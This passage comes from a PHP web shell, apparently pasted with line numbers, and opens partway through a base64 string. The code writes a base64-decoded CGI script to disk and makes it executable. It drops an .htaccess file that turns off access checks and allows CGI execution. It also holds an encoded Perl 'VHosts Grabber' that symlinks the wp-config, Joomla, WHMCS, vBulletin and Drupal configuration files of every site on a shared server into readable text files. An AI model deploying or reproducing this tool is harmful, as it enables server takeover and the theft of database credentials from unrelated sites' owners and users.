0ZXNzLictRWxsaXNsYWIudHh0Jyk7DQp9DQpwcmludCAiPGJyPjxicj48YnI+PGZvbnQgY29sb3I9cmVkPkRvbmUgISE8L2ZvbnQ+IjsNCg==';
  3262. $file = fopen("btbt.cin" ,"w+");
  3263. $write = fwrite ($file ,base64_decode($btm));
  3264. fclose($file);
  3265. chmod("btbt.cin",0755);
  3266. echo "<center><a href='btbt' target='_blank'>Click Here</a><br>open the btbt.cin</center>";
  3267. }
  3268.  
  3269. }
  3270. elseif($_GET['do'] == 'config') {
  3271. echo "<center>";
  3272. echo "<ul>";
  3273. echo "<li> <a href='?dir=$dir&do=config'>Config</a> </li>";
  3274. echo "<li> <a href='?dir=$dir&do=config2'>2nd Config</a> </li>";
  3275. echo "<li> <a href='?dir=$dir&do=indi'>INDISHELL</a> </li>";
  3276. echo "<li> <a href='?dir=$dir&do=vgrab'>VHosts Grabber</a> </li>";
  3277. echo "</ul>";
  3278. echo "</center>";
  3279. $idx = mkdir("btm_conf", 0777);
  3280. $isi_htc = "Options FollowSymLinks MultiViews Indexes ExecCGI\nRequire None\nSatisfy Any\nAddType application/x-httpd-cgi .cin\nAddHandler cgi-script .cin\nAddHandler cgi-script .cin";
  3281. $htc = fopen("btm_conf/.htaccess","w");
  3282. fwrite($htc, $isi_htc);
  3283. fclose($htc);
  3284. if(preg_match("/vhosts|vhost/", $dir)) {
  3285. $link_config = str_replace($_SERVER['DOCUMENT_ROOT'], "", $dir);
  3286. $vhost = "IyEvdXNyL2Jpbi9wZXJsIC1JL3Vzci9sb2NhbC9iYW5kbWluDQpvcGVuZGlyKG15ICRkaXIgLCAiL3Zhci93d3cvdmhvc3RzLyIpOw0KZm9yZWFjaChzb3J0IHJlYWRkaXIgJGRpcikgew0KICAgIG15ICRpc0RpciA9IDA7DQogICAgJGlzRGlyID0gMSBpZiAtZCAkXzsNCiRzaXRlc3MgPSAkXzsNCg0KDQpzeW1saW5rKCcvdmFyL3d3dy92aG9zdHMvJy4kc2l0ZXNzLicvaHR0cGRvY3MvaW5jbHVkZXMvY29uZmlndXJlLnBocCcsJHNpdGVzcy4nLXNob3AudHh0Jyk7DQpzeW1saW5rKCcvdmFyL3d3dy92aG9zdHMvJy4kc2l0ZXNzLicvaHR0cGRvY3Mvb3MvaW5jbHVkZXMvY29uZmlndXJlLnBocCcsJHNpdGVzcy4nLXNob3Atb3MudHh0Jyk7DQpzeW1saW5rKCcvdmFyL3d3dy92aG9zdHMvJy4kc2l0ZXNzLicvaHR0cGRvY3Mvb3Njb20vaW5jbHVkZXMvY29uZmlndXJlLnBocCcsJHNpdGVzcy4nLW9zY29tLnR4dCcpOw0Kc3ltbGluaygnL3Zhci93d3cvdmhvc3RzLycuJHNpdGVzcy4nL2h0dHBkb2NzL29zY29tbWVyY2UvaW5jbHVkZXMvY29uZmlndXJlLnBocCcsJHNpdGVzcy4nLW9zY29tbWVyY2UudHh0Jyk7DQpzeW1saW5rKCcvdmFyL3d3dy92aG9zdHMvJy4kc2l0ZXNzLicvaHR0cGRvY3Mvb3Njb21tZXJjZXMvaW5jbHVkZXMvY29uZmlndXJlLnBocCcsJHNpdGVzcy4nLW9zY29tbWVyY2VzLnR4dCcpOw0Kc3ltbGluaygnL3Zhci93d3cvdmhvc3RzLycuJHNpdGVzcy4nL2h0dHBkb2NzL3Nob3AvaW5jbHVkZXMvY29uZmlndXJlLnBocCcsJHNpdGVzcy4nLXNob3AyLnR4dCcpOw0Kc3ltbGluaygnL3Zhci93d3cvdmhvc3RzLycuJHNpdGVzcy4nL2h0dHBkb2NzL3Nob3BwaW5nL2luY2x1ZGVzL2NvbmZpZ3VyZS5waHAnLCRzaXRlc3MuJy1zaG9wLXNob3BwaW5nLnR4dCcpOw0Kc3ltbGluaygnL3Zhci93d3cvdmhvc3RzLycuJHNpdGVzcy4nL2h0dHBkb2NzL3NhbGUvaW5jbHVkZXMvY29uZmlndXJlLnBocCcsJHNpdGVzcy4nLXNhbGUudHh0Jyk7DQpzeW1saW5rKCcvdmFyL3d3dy92aG9zdHMvJy4kc2l0ZXNzLicvaHR0cGRvY3MvYW1lbWJlci9jb25maWcuaW5jLnBocCcsJHNpdGVzcy4nLWFtZW1iZXIudHh0Jyk7DQpzeW1saW5rKCcvdmFyL3d3dy92aG9zdHMvJy4kc2l0ZXNzLicvaHR0cGRvY3MvY29uZmlnLmluYy5waHAnLCRzaXRlc3MuJy1hbWVtYmVyMi50eHQnKTsNCnN5bWxpbmsoJy92YXIvd3d3L3Zob3N0cy8nLiRzaXRlc3MuJy9odHRwZG9jcy9tZW1iZXJzL2NvbmZpZ3VyYXRpb24ucGhwJywkc2l0ZXNzLictbWVtYmVycy50eHQnKTsNCnN5bWxpbmsoJy92YXIvd3d3L3Zob3N0cy8nLiRzaXRlc3MuJy9odHRwZG9jcy9jb25maWcucGhwJywkc2l0ZXNzLictNGltYWdlczEudHh0Jyk7DQpzeW1saW5rKCcvdmFyL3d3dy92aG9zdHMvJy4kc2l0ZXNzLicvaHR0cGRvY3MvZm9ydW0vaW5jbHVkZXMvY29uZmlnLnBocCcsJHNpdGVzcy4nLWZvcnVtLnR4dCcpOw0Kc3ltbGluaygnL3Zhci93d3cvdmhvc3RzLycuJHNpdGVzcy4nL2h0dHBkb2NzL2ZvcnVtcy9pbmNsdWRlcy9jb25maWcucGhwJywkc2l0ZXNzLictZm9ydW1zLnR4dCcpOw0Kc3ltbGluaygnL3Zhci93d3cvdmhvc3RzLycuJHNpdGVzcy4nL2h0dHBkb2NzL2FkbWluL2NvbmYucGhwJywkc2l0ZXNzLictNS50eHQnKTsNCnN5bWxpbmsoJy92YXIvd3d3L3Zob3N0cy8nLiRzaXRlc3MuJy9odHRwZG9jcy9hZG1pbi9jb25maWcucGhwJywkc2l0ZXNzLictNC50eHQnKTsNCnN5bWxpbmsoJy92YXIvd3d3L3Zob3N0cy8nLiRzaXRlc3MuJy9odHRwZG9jcy93cC1jb25maWcucGhwJywkc2l0ZXNzLictV29yZHByZXNzLnR4dCcpOw0Kc3ltbGluaygnL3Zhci93d3cvdmhvc3RzLycuJHNpdGVzcy4nL2h0dHBkb2NzL3dwL3dwLWNvbmZpZy5waHAnLCRzaXRlc3MuJy1Xb3JkcHJlc3MudHh0Jyk7DQpzeW1saW5rKCcvdmFyL3d3dy92aG9zdHMvJy4kc2l0ZXNzLicvaHR0cGRvY3MvV1Avd3AtY29uZmlnLnBocCcsJHNpdGVzcy4nLVdvcmRwcmVzcy50eHQnKTsNCnN5bWxpbmsoJy92YXIvd3d3L3Zob3N0cy8nLiRzaXRlc3MuJy9odHRwZG9jcy93cC9iZXRhL3dwLWNvbmZpZy5waHAnLCRzaXRlc3MuJy1Xb3JkcHJlc3MudHh0Jyk7DQpzeW1saW5rKCcvdmFyL3d3dy92aG9zdHMvJy4kc2l0ZXNzLicvaHR0cGRvY3MvYmV0YS93cC1jb25maWcucGhwJywkc2l0ZXNzLictV29yZHByZXNzLnR4dCcpOw0Kc3ltbGluaygnL3Zhci93d3cvdmhvc3RzLycuJHNpdGVzcy4nL2h0dHBkb2NzL3ByZXNzL3dwLWNvbmZpZy5waHAnLCRzaXRlc3MuJy13cDEzLXByZXNzLnR4dCcpOw0Kc3ltbGluaygnL3Zhci93d3cvdmhvc3RzLycuJHNpdGVzcy4nL2h0dHBkb2NzL3dvcmRwcmVzcy93cC1jb25maWcucGhwJywkc2l0ZXNzLictd29yZHByZXNzLnR4dCcpOw0Kc3ltbGluaygnL3Zhci93d3cvdmhvc3RzLycuJHNpdGVzcy4nL2h0dHBkb2NzL1dvcmRwcmVzcy93cC1jb25maWcucGhwJywkc2l0ZXNzLictV29yZHByZXNzLnR4dCcpOw0Kc3ltbGluaygnL3Zhci93d3cvdmhvc3RzLycuJHNpdGVzcy4nL2h0dHBkb2NzL2Jsb2cvd3AtY29uZmlnLnBocCcsJHNpdGVzcy4nLVdvcmRwcmVzcy50eHQnKTsNCnN5bWxpbmsoJy92YXIvd3d3L3Zob3N0cy8nLiRzaXRlc3MuJy9odHRwZG9jcy93b3JkcHJlc3MvYmV0YS93cC1jb25maWcucGhwJywkc2l0ZXNzLictV29yZHByZXNzLnR4dCcpOw0Kc3ltbGluaygnL3Zhci93d3cvdmhvc3RzLycuJHNpdGVzcy4nL2h0dHBkb2NzL25ld3Mvd3AtY29uZmlnLnBocCcsJHNpdGVzcy4nLVdvcmRwcmVzcy1uZXdzLnR4dCcpOw0Kc3ltbGluaygnL3Zhci93d3cvdmhvc3RzLycuJHNpdGVzcy4nL2h0dHBkb2NzL25ldy93cC1jb25maWcucGhwJywkc2l0ZXNzLictV29yZHByZXNzLW5ldy50eHQnKTsNCnN5bWxpbmsoJy92YXIvd3d3L3Zob3N0cy8nLiRzaXRlc3MuJy9odHRwZG9jcy9ibG9nL3dwLWNvbmZpZy5waHAnLCRzaXRlc3MuJy1Xb3JkcHJlc3MtYmxvZy50eHQnKTsNCnN5bWxpbmsoJy92YXIvd3d3L3Zob3N0cy8nLiRzaXRlc3MuJy9odHRwZG9jcy9iZXRhL3dwLWNvbmZpZy5waHAnLCRzaXRlc3MuJy1Xb3JkcHJlc3MtYmV0YS50eHQnKTsNCnN5bWxpbmsoJy92YXIvd3d3L3Zob3N0cy8nLiRzaXRlc3MuJy9odHRwZG9jcy9ibG9ncy93cC1jb25maWcucGhwJywkc2l0ZXNzLictV29yZHByZXNzLWJsb2dzLnR4dCcpOw0Kc3ltbGluaygnL3Zhci93d3cvdmhvc3RzLycuJHNpdGVzcy4nL2h0dHBkb2NzL2hvbWUvd3AtY29uZmlnLnBocCcsJHNpdGVzcy4nLVdvcmRwcmVzcy1ob21lLnR4dCcpOw0Kc3ltbGluaygnL3Zhci93d3cvdmhvc3RzLycuJHNpdGVzcy4nL2h0dHBkb2NzL3Byb3RhbC93cC1jb25maWcucGhwJywkc2l0ZXNzLictV29yZHByZXNzLXByb3RhbC50eHQnKTsNCnN5bWxpbmsoJy92YXIvd3d3L3Zob3N0cy8nLiRzaXRlc3MuJy9odHRwZG9jcy9zaXRlL3dwLWNvbmZpZy5waHAnLCRzaXRlc3MuJy1Xb3JkcHJlc3Mtc2l0ZS50eHQnKTsNCnN5bWxpbmsoJy92YXIvd3d3L3Zob3N0cy8nLiRzaXRlc3MuJy9odHRwZG9jcy9tYWluL3dwLWNvbmZpZy5waHAnLCRzaXRlc3MuJy1Xb3JkcHJlc3MtbWFpbi50eHQnKTsNCnN5bWxpbmsoJy92YXIvd3d3L3Zob3N0cy8nLiRzaXRlc3MuJy9odHRwZG9jcy90ZXN0L3dwLWNvbmZpZy5waHAnLCRzaXRlc3MuJy1Xb3JkcHJlc3MtdGVzdC50eHQnKTsNCnN5bWxpbmsoJy92YXIvd3d3L3Zob3N0cy8nLiRzaXRlc3MuJy9odHRwZG9jcy9hcmNhZGUvZnVuY3Rpb25zL2RiY2xhc3MucGhwJywkc2l0ZXNzLictaWJwcm9hcmNhZGUudHh0Jyk7DQpzeW1saW5rKCcvdmFyL3d3dy92aG9zdHMvJy4kc2l0ZXNzLicvaHR0cGRvY3MvYXJjYWRlL2Z1bmN0aW9ucy9kYmNsYXNzLnBocCcsJHNpdGVzcy4nLWlicHJvYXJjYWRlLnR4dCcpOw0Kc3ltbGluaygnL3Zhci93d3cvdmhvc3RzLycuJHNpdGVzcy4nL2h0dHBkb2NzL2pvb21sYS9jb25maWd1cmF0aW9uLnBocCcsJHNpdGVzcy4nLWpvb21sYTIudHh0Jyk7DQpzeW1saW5rKCcvdmFyL3d3dy92aG9zdHMvJy4kc2l0ZXNzLicvaHR0cGRvY3MvcHJvdGFsL2NvbmZpZ3VyYXRpb24ucGhwJywkc2l0ZXNzLictam9vbWxhLXByb3RhbC50eHQnKTsNCnN5bWxpbmsoJy92YXIvd3d3L3Zob3N0cy8nLiRzaXRlc3MuJy9odHRwZG9jcy9qb28vY29uZmlndXJhdGlvbi5waHAnLCRzaXRlc3MuJy1qb28udHh0Jyk7DQpzeW1saW5rKCcvdmFyL3d3dy92aG9zdHMvJy4kc2l0ZXNzLicvaHR0cGRvY3MvY21zL2NvbmZpZ3VyYXRpb24ucGhwJywkc2l0ZXNzLictam9vbWxhLWNtcy50eHQnKTsNCnN5bWxpbmsoJy92YXIvd3d3L3Zob3N0cy8nLiRzaXRlc3MuJy9odHRwZG9jcy9zaXRlL2NvbmZpZ3VyYXRpb24ucGhwJywkc2l0ZXNzLictam9vbWxhLXNpdGUudHh0Jyk7DQpzeW1saW5rKCcvdmFyL3d3dy92aG9zdHMvJy4kc2l0ZXNzLicvaHR0cGRvY3MvbWFpbi9jb25maWd1cmF0aW9uLnBocCcsJHNpdGVzcy4nLWpvb21sYS1tYWluLnR4dCcpOw0Kc3ltbGluaygnL3Zhci93d3cvdmhvc3RzLycuJHNpdGVzcy4nL2h0dHBkb2NzL25ld3MvY29uZmlndXJhdGlvbi5waHAnLCRzaXRlc3MuJy1qb29tbGEtbmV3cy50eHQnKTsNCnN5bWxpbmsoJy92YXIvd3d3L3Zob3N0cy8nLiRzaXRlc3MuJy9odHRwZG9jcy9uZXcvY29uZmlndXJhdGlvbi5waHAnLCRzaXRlc3MuJy1qb29tbGEtbmV3LnR4dCcpOw0Kc3ltbGluaygnL3Zhci93d3cvdmhvc3RzLycuJHNpdGVzcy4nL2h0dHBkb2NzL2hvbWUvY29uZmlndXJhdGlvbi5waHAnLCRzaXRlc3MuJy1qb29tbGEtaG9tZS50eHQnKTsNCnN5bWxpbmsoJy92YXIvd3d3L3Zob3N0cy8nLiRzaXRlc3MuJy9odHRwZG9jcy92Yi9pbmNsdWRlcy9jb25maWcucGhwJywkc2l0ZXNzLictdmJ+Y29uZmlnLnR4dCcpOw0Kc3ltbGluaygnL3Zhci93d3cvdmhvc3RzLycuJHNpdGVzcy4nL2h0dHBkb2NzL3ZiMy9pbmNsdWRlcy9jb25maWcucGhwJywkc2l0ZXNzLictdmIzfmNvbmZpZy50eHQnKTsNCnN5bWxpbmsoJy92YXIvd3d3L3Zob3N0cy8nLiRzaXRlc3MuJy9odHRwZG9jcy9jYy9pbmNsdWRlcy9jb25maWcucGhwJywkc2l0ZXNzLictdmIxfmNvbmZpZy50eHQnKTsNCnN5bWxpbmsoJy92YXIvd3d3L3Zob3N0cy8nLiRzaXRlc3MuJy9odHRwZG9jcy9mb3J1bS9pbmNsdWRlcy9jbGFzc19jb3JlLnBocCcsJHNpdGVzcy4nLXZibHV0dGlufmNsYXNzX2NvcmUucGhwLnR4dCcpOw0Kc3ltbGluaygnL3Zhci93d3cvdmhvc3RzLycuJHNpdGVzcy4nL2h0dHBkb2NzL3ZiL2luY2x1ZGVzL2NsYXNzX2NvcmUucGhwJywkc2l0ZXNzLictdmJsdXR0aW5+Y2xhc3NfY29yZS5waHAxLnR4dCcpOw0Kc3ltbGluaygnL3Zhci93d3cvdmhvc3RzLycuJHNpdGVzcy4nL2h0dHBkb2NzL2NjL2luY2x1ZGVzL2NsYXNzX2NvcmUucGhwJywkc2l0ZXNzLictdmJsdXR0aW5+Y2xhc3NfY29yZS5waHAyLnR4dCcpOw0Kc3ltbGluaygnL3Zhci93d3cvdmhvc3RzLycuJHNpdGVzcy4nL2h0dHBkb2NzL3dobS9jb25maWd1cmF0aW9uLnBocCcsJHNpdGVzcy4nLXdobTE1LnR4dCcpOw0Kc3ltbGluaygnL3Zhci93d3cvdmhvc3RzLycuJHNpdGVzcy4nL2h0dHBkb2NzL2NlbnRyYWwvY29uZmlndXJhdGlvbi5waHAnLCRzaXRlc3MuJy13aG0tY2VudHJhbC50eHQnKTsNCnN5bWxpbmsoJy92YXIvd3d3L3Zob3N0cy8nLiRzaXRlc3MuJy9odHRwZG9jcy93aG0vd2htY3MvY29uZmlndXJhdGlvbi5waHAnLCRzaXRlc3MuJy13aG0td2htY3MudHh0Jyk7DQpzeW1saW5rKCcvdmFyL3d3dy92aG9zdHMvJy4kc2l0ZXNzLicvaHR0cGRvY3Mvd2htL1dITUNTL2NvbmZpZ3VyYXRpb24ucGhwJywkc2l0ZXNzLictd2htLVdITUNTLnR4dCcpOw0Kc3ltbGluaygnL3Zhci93d3cvdmhvc3RzLycuJHNpdGVzcy4nL2h0dHBkb2NzL3dobWMvV0hNL2NvbmZpZ3VyYXRpb24ucGhwJywkc2l0ZXNzLictd2htYy1XSE0udHh0Jyk7DQpzeW1saW5rKCcvdmFyL3d3dy92aG9zdHMvJy4kc2l0ZXNzLicvaHR0cGRvY3Mvd2htY3MvY29uZmlndXJhdGlvbi5waHAnLCRzaXRlc3MuJy13aG1jcy50eHQnKTsNCnN5bWxpbmsoJy92YXIvd3d3L3Zob3N0cy8nLiRzaXRlc3MuJy9odHRwZG9jcy9zdXBwb3J0L2NvbmZpZ3VyYXRpb24ucGhwJywkc2l0ZXNzLictc3VwcG9ydC50eHQnKTsNCnN5bWxpbmsoJy92YXIvd3d3L3Zob3N0cy8nLiRzaXRlc3MuJy9odHRwZG9jcy9zdXBwL2NvbmZpZ3VyYXRpb24ucGhwJywkc2l0ZXNzLictc3VwcC50eHQnKTsNCnN5bWxpbmsoJy92YXIvd3d3L3Zob3N0cy8nLiRzaXRlc3MuJy9odHRwZG9jcy9zZWN1cmUvY29uZmlndXJhdGlvbi5waHAnLCRzaXRlc3MuJy1zdWN1cmUudHh0Jyk7DQpzeW1saW5rKCcvdmFyL3d3dy92aG9zdHMvJy4kc2l0ZXNzLicvaHR0cGRvY3Mvc2VjdXJlL3dobS9jb25maWd1cmF0aW9uLnBocCcsJHNpdGVzcy4nLXN1Y3VyZS13aG0udHh0Jyk7DQpzeW1saW5rKCcvdmFyL3d3dy92aG9zdHMvJy4kc2l0ZXNzLicvaHR0cGRvY3Mvc2VjdXJlL3dobWNzL2NvbmZpZ3VyYXRpb24ucGhwJywkc2l0ZXNzLictc3VjdXJlLXdobWNzLnR4dCcpOw0Kc3ltbGluaygnL3Zhci93d3cvdmhvc3RzLycuJHNpdGVzcy4nL2h0dHBkb2NzL2NwYW5lbC9jb25maWd1cmF0aW9uLnBocCcsJHNpdGVzcy4nLWNwYW5lbC50eHQnKTsNCnN5bWxpbmsoJy92YXIvd3d3L3Zob3N0cy8nLiRzaXRlc3MuJy9odHRwZG9jcy9wYW5lbC9jb25maWd1cmF0aW9uLnBocCcsJHNpdGVzcy4nLXBhbmVsLnR4dCcpOw0Kc3ltbGluaygnL3Zhci93d3cvdmhvc3RzLycuJHNpdGVzcy4nL2h0dHBkb2NzL2hvc3QvY29uZmlndXJhdGlvbi5waHAnLCRzaXRlc3MuJy1ob3N0LnR4dCcpOw0Kc3ltbGluaygnL3Zhci93d3cvdmhvc3RzLycuJHNpdGVzcy4nL2h0dHBkb2NzL2hvc3RpbmcvY29uZmlndXJhdGlvbi5waHAnLCRzaXRlc3MuJy1ob3N0aW5nLnR4dCcpOw0Kc3ltbGluaygnL3Zhci93d3cvdmhvc3RzLycuJHNpdGVzcy4nL2h0dHBkb2NzL2hvc3RzL2NvbmZpZ3VyYXRpb24ucGhwJywkc2l0ZXNzLictaG9zdHMudHh0Jyk7DQpzeW1saW5rKCcvdmFyL3d3dy92aG9zdHMvJy4kc2l0ZXNzLicvaHR0cGRvY3MvY29uZmlndXJhdGlvbi5waHAnLCRzaXRlc3MuJy1qb29tbGEudHh0Jyk7DQpzeW1saW5rKCcvdmFyL3d3dy92aG9zdHMvJy4kc2l0ZXNzLicvaHR0cGRvY3Mvc3VibWl0dGlja2V0LnBocCcsJHNpdGVzcy4nLXdobWNzMi50eHQnKTsNCnN5bWxpbmsoJy92YXIvd3d3L3Zob3N0cy8nLiRzaXRlc3MuJy9odHRwZG9jcy9jbGllbnRzL2NvbmZpZ3VyYXRpb24ucGhwJywkc2l0ZXNzLictY2xpZW50cy50eHQnKTsNCnN5bWxpbmsoJy92YXIvd3d3L3Zob3N0cy8nLiRzaXRlc3MuJy9odHRwZG9jcy9jbGllbnQvY29uZmlndXJhdGlvbi5waHAnLCRzaXRlc3MuJy1jbGllbnQudHh0Jyk7DQpzeW1saW5rKCcvdmFyL3d3dy92aG9zdHMvJy4kc2l0ZXNzLicvaHR0cGRvY3MvY2xpZW50ZXMvY29uZmlndXJhdGlvbi5waHAnLCRzaXRlc3MuJy1jbGllbnRlcy50eHQnKTsNCnN5bWxpbmsoJy92YXIvd3d3L3Zob3N0cy8nLiRzaXRlc3MuJy9odHRwZG9jcy9jbGllbnRlL2NvbmZpZ3VyYXRpb24ucGhwJywkc2l0ZXNzLictY2xpZW50LnR4dCcpOw0Kc3ltbGluaygnL3Zhci93d3cvdmhvc3RzLycuJHNpdGVzcy4nL2h0dHBkb2NzL2NsaWVudHN1cHBvcnQvY29uZmlndXJhdGlvbi5waHAnLCRzaXRlc3MuJy1jbGllbnRzdXBwb3J0LnR4dCcpOw0Kc3ltbGluaygnL3Zhci93d3cvdmhvc3RzLycuJHNpdGVzcy4nL2h0dHBkb2NzL2JpbGxpbmcvY29uZmlndXJhdGlvbi5waHAnLCRzaXRlc3MuJy1iaWxsaW5nLnR4dCcpOyANCnN5bWxpbmsoJy92YXIvd3d3L3Zob3N0cy8nLiRzaXRlc3MuJy9odHRwZG9jcy9tYW5hZ2UvY29uZmlndXJhdGlvbi5waHAnLCRzaXRlc3MuJy13aG0tbWFuYWdlLnR4dCcpOyANCnN5bWxpbmsoJy92YXIvd3d3L3Zob3N0cy8nLiRzaXRlc3MuJy9odHRwZG9jcy9teS9jb25maWd1cmF0aW9uLnBocCcsJHNpdGVzcy4nLXdobS1teS50eHQnKTsgDQpzeW1saW5rKCcvdmFyL3d3dy92aG9zdHMvJy4kc2l0ZXNzLicvaHR0cGRvY3MvbXlzaG9wL2NvbmZpZ3VyYXRpb24ucGhwJywkc2l0ZXNzLictd2htLW15c2hvcC50eHQnKTsgDQpzeW1saW5rKCcvdmFyL3d3dy92aG9zdHMvJy4kc2l0ZXNzLicvaHR0cGRvY3MvaW5jbHVkZXMvZGlzdC1jb25maWd1cmUucGhwJywkc2l0ZXNzLictemVuY2FydC50eHQnKTsgDQpzeW1saW5rKCcvdmFyL3d3dy92aG9zdHMvJy4kc2l0ZXNzLicvaHR0cGRvY3MvemVuY2FydC9pbmNsdWRlcy9kaXN0LWNvbmZpZ3VyZS5waHAnLCRzaXRlc3MuJy1zaG9wLXplbmNhcnQudHh0Jyk7IA0Kc3ltbGluaygnL3Zhci93d3cvdmhvc3RzLycuJHNpdGVzcy4nL2h0dHBkb2NzL3Nob3AvaW5jbHVkZXMvZGlzdC1jb25maWd1cmUucGhwJywkc2l0ZXNzLictc2hvcC1aQ3Nob3AudHh0Jyk7IA0Kc3ltbGluaygnL3Zhci93d3cvdmhvc3RzLycuJHNpdGVzcy4nL2h0dHBkb2NzL1NldHRpbmdzLnBocCcsJHNpdGVzcy4nLXNtZi50eHQnKTsgDQpzeW1saW5rKCcvdmFyL3d3dy92aG9zdHMvJy4kc2l0ZXNzLicvaHR0cGRvY3Mvc21mL1NldHRpbmdzLnBocCcsJHNpdGVzcy4nLXNtZjIudHh0Jyk7IA0Kc3ltbGluaygnL3Zhci93d3cvdmhvc3RzLycuJHNpdGVzcy4nL2h0dHBkb2NzL2ZvcnVtL1NldHRpbmdzLnBocCcsJHNpdGVzcy4nLXNtZi1mb3J1bS50eHQnKTsgDQpzeW1saW5rKCcvdmFyL3d3dy92aG9zdHMvJy4kc2l0ZXNzLicvaHR0cGRvY3MvZm9ydW1zL1NldHRpbmdzLnBocCcsJHNpdGVzcy4nLXNtZi1mb3J1bXMudHh0Jyk7IA0Kc3ltbGluaygnL3Zhci93d3cvdmhvc3RzLycuJHNpdGVzcy4nL2h0dHBkb2NzL3VwbG9hZC9pbmNsdWRlcy9jb25maWcucGhwJywkc2l0ZXNzLictdXAudHh0Jyk7DQpzeW1saW5rKCcvdmFyL3d3dy92aG9zdHMvJy4kc2l0ZXNzLicvaHR0cGRvY3MvYXJ0aWNsZS9jb25maWcucGhwJywkc2l0ZXNzLictTndhaHkudHh0Jyk7IA0Kc3ltbGluaygnL3Zhci93d3cvdmhvc3RzLycuJHNpdGVzcy4nL2h0dHBkb2NzL3VwL2luY2x1ZGVzL2NvbmZpZy5waHAnLCRzaXRlc3MuJy11cDIudHh0Jyk7DQpzeW1saW5rKCcvdmFyL3d3dy92aG9zdHMvJy4kc2l0ZXNzLicvaHR0cGRvY3MvY29uZl9nbG9iYWwucGhwJywkc2l0ZXNzLictNi50eHQnKTsNCnN5bWxpbmsoJy92YXIvd3d3L3Zob3N0cy8nLiRzaXRlc3MuJy9odHRwZG9jcy9pbmNsdWRlL2RiLnBocCcsJHNpdGVzcy4nLTcudHh0Jyk7DQpzeW1saW5rKCcvdmFyL3d3dy92aG9zdHMvJy4kc2l0ZXNzLicvaHR0cGRvY3MvY29ubmVjdC5waHAnLCRzaXRlc3MuJy1QSFAtRnVzaW9uLnR4dCcpOw0Kc3ltbGluaygnL3Zhci93d3cvdmhvc3RzLycuJHNpdGVzcy4nL2h0dHBkb2NzL21rX2NvbmYucGhwJywkc2l0ZXNzLictOS50eHQnKTsNCnN5bWxpbmsoJy92YXIvd3d3L3Zob3N0cy8nLiRzaXRlc3MuJy9odHRwZG9jcy9jb25maWcucGhwJywkc2l0ZXNzLictNGltYWdlcy50eHQnKTsNCnN5bWxpbmsoJy92YXIvd3d3L3Zob3N0cy8nLiRzaXRlc3MuJy9odHRwZG9jcy9zaXRlcy9kZWZhdWx0L3NldHRpbmdzLnBocCcsJHNpdGVzcy4nLURydXBhbC50eHQnKTsNCnN5bWxpbmsoJy92YXIvd3d3L3Zob3N0cy8nLiRzaXRlc3MuJy9odHRwZG9jcy9tZW1iZXIvY29uZmlndXJhdGlvbi5waHAnLCRzaXRlc3MuJy0xbWVtYmVyLnR4dCcpIDsgDQpzeW1saW5rKCcvdmFyL3d3dy92aG9zdHMvJy4kc2l0ZXNzLicvaHR0cGRvY3MvYmlsbGluZ3MvY29uZmlndXJhdGlvbi5waHAnLCRzaXRlc3MuJy1iaWxsaW5ncy50eHQnKSA7IA0Kc3ltbGluaygnL3Zhci93d3cvdmhvc3RzLycuJHNpdGVzcy4nL2h0dHBkb2NzL3dobS9jb25maWd1cmF0aW9uLnBocCcsJHNpdGVzcy4nLXdobS50eHQnKTsNCnN5bWxpbmsoJy92YXIvd3d3L3Zob3N0cy8nLiRzaXRlc3MuJy9odHRwZG9jcy9zdXBwb3J0cy9jb25maWd1cmF0aW9uLnBocCcsJHNpdGVzcy4nLXN1cHBvcnRzLnR4dCcpOw0Kc3ltbGluaygnL3Zhci93d3cvdmhvc3RzLycuJHNpdGVzcy4nL2h0dHBkb2NzL3JlcXVpcmVzL2NvbmZpZy5waHAnLCRzaXRlc3MuJy1BTTRTUy1ob3N0aW5nLnR4dCcpOw0Kc3ltbGluaygnL3Zhci93d3cvdmhvc3RzLycuJHNpdGVzcy4nL2h0dHBkb2NzL3N1cHBvcnRzL2luY2x1ZGVzL2lzbzQyMTcucGhwJywkc2l0ZXNzLictaG9zdGJpbGxzLXN1cHBvcnRzLnR4dCcpOw0Kc3ltbGluaygnL3Zhci93d3cvdmhvc3RzLycuJHNpdGVzcy4nL2h0dHBkb2NzL2NsaWVudC9pbmNsdWRlcy9pc280MjE3LnBocCcsJHNpdGVzcy4nLWhvc3RiaWxscy1jbGllbnQudHh0Jyk7DQpzeW1saW5rKCcvdmFyL3d3dy92aG9zdHMvJy4kc2l0ZXNzLicvaHR0cGRvY3Mvc3VwcG9ydC9pbmNsdWRlcy9pc280MjE3LnBocCcsJHNpdGVzcy4nLWhvc3RiaWxscy1zdXBwb3J0LnR4dCcpOw0Kc3ltbGluaygnL3Zhci93d3cvdmhvc3RzLycuJHNpdGVzcy4nL2h0dHBkb2NzL2JpbGxpbmcvaW5jbHVkZXMvaXNvNDIxNy5waHAnLCRzaXRlc3MuJy1ob3N0YmlsbHMtYmlsbGluZy50eHQnKTsNCnN5bWxpbmsoJy92YXIvd3d3L3Zob3N0cy8nLiRzaXRlc3MuJy9odHRwZG9jcy9iaWxsaW5ncy9pbmNsdWRlcy9pc280MjE3LnBocCcsJHNpdGVzcy4nLWhvc3RiaWxscy1iaWxsaW5ncy50eHQnKTsNCnN5bWxpbmsoJy92YXIvd3d3L3Zob3N0cy8nLiRzaXRlc3MuJy9odHRwZG9jcy9ob3N0L2luY2x1ZGVzL2lzbzQyMTcucGhwJywkc2l0ZXNzLictaG9zdGJpbGxzLWhvc3QudHh0Jyk7DQpzeW1saW5rKCcvdmFyL3d3dy92aG9zdHMvJy4kc2l0ZXNzLicvaHR0cGRvY3MvaG9zdHMvaW5jbHVkZXMvaXNvNDIxNy5waHAnLCRzaXRlc3MuJy1ob3N0YmlsbHMtaG9zdHMudHh0Jyk7DQpzeW1saW5rKCcvdmFyL3d3dy92aG9zdHMvJy4kc2l0ZXNzLicvaHR0cGRvY3MvaG9zdGluZy9pbmNsdWRlcy9pc280MjE3LnBocCcsJHNpdGVzcy4nLWhvc3RiaWxscy1ob3N0aW5nLnR4dCcpOw0Kc3ltbGluaygnL3Zhci93d3cvdmhvc3RzLycuJHNpdGVzcy4nL2h0dHBkb2NzL2hvc3RpbmdzL2luY2x1ZGVzL2lzbzQyMTcucGhwJywkc2l0ZXNzLictaG9zdGJpbGxzLWhvc3RpbmdzLnR4dCcpOw0Kc3ltbGluaygnL3Zhci93d3cvdmhvc3RzLycuJHNpdGVzcy4nL2h0dHBkb2NzL2luY2x1ZGVzL2lzbzQyMTcucGhwJywkc2l0ZXNzLictaG9zdGJpbGxzLnR4dCcpOw0Kc3ltbGluaygnL3Zhci93d3cvdmhvc3RzLycuJHNpdGVzcy4nL2h0dHBkb2NzL2hvc3RiaWxsaW5jbHVkZXMvaXNvNDI